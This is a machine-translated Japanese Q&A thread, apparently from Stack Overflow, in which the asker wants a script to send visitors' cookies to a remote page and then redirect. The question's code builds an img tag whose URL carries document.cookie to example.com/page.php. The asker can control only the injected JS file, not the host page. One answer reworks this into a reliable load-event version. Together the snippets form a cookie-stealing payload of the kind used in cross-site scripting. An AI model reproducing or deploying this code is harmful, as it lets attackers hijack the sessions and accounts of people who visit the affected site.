2017-01-16 20 views
1

私のスクリプトがhome.example.comにリダイレクトされるようにするには、ユーザーのCookieを使用してpage.phpへのリクエストが行われた後でなければなりません。私は自分のコードが壊れていることを知っています(私は最初のリクエストが完了するまでに20秒以下の時間がかかります)。 page.phpへのリクエストが完了した後にスクリプトがリダイレクトされるようにする方法はありますか?document.writeが完了した後にリダイレクト

document.write('<img src="https://example.com/page.php?data=' + document.cookie + '" />'); 

window.setTimeout(function() { 
location.href = "http://home.example.com" 
}, 20000); 

ご迷惑をおかけして申し訳ありません。

+0

画像に 'load'イベントを使用します。 – SLaks

+0

@SLaks - この場合は 'onload' *属性*になります:p –

+0

また、' document.write() 'も使わないでください。 – SLaks

答えて

1

document.write('<img id="img" />'); 
 

 
var imgNode = document.querySelector("#img"); 
 
    
 
imgNode.addEventListener("load", function() { 
 
    location.href = "http://home.example.com"; 
 
}); 
 
    
 
imgNode.src = "https://example.com/page.php?data=" + document.cookie;

+0

こんにちは、このスクリプトを実行しているHTMLページを変更できません。私はjsファイル自体を制御することしかできません。未知の型エラー:nullのプロパティ 'addEventListener'を読み取ることができません** – aaronullger

+0

私は自分のコードを編集しました。もう一度試してみることができます –

+0

次のエラーのためにリダイレクトが失敗します** 'ドキュメント'の「書き込み」を実行できませんでした:明示的に開いていない限り、非同期的に読み込まれた外部スクリプトからドキュメントに書き込むことはできません。**、既に多くのことを助けてくれてありがとう!私はあなたと一緒にそれを把握しています、何も動作しない場合は、私は20秒待ってアプローチするつもりです。 – aaronullger

0

あなたは、ヘッダー "( "リフレッシュ:20; URL = wherever.phpを"); document.writeを使用する必要がありますが、使用される前に、"。 参照することができます: - "stackoverflow.com/questions/6119451/page-redirect-after-certain-time-php"

関連する問題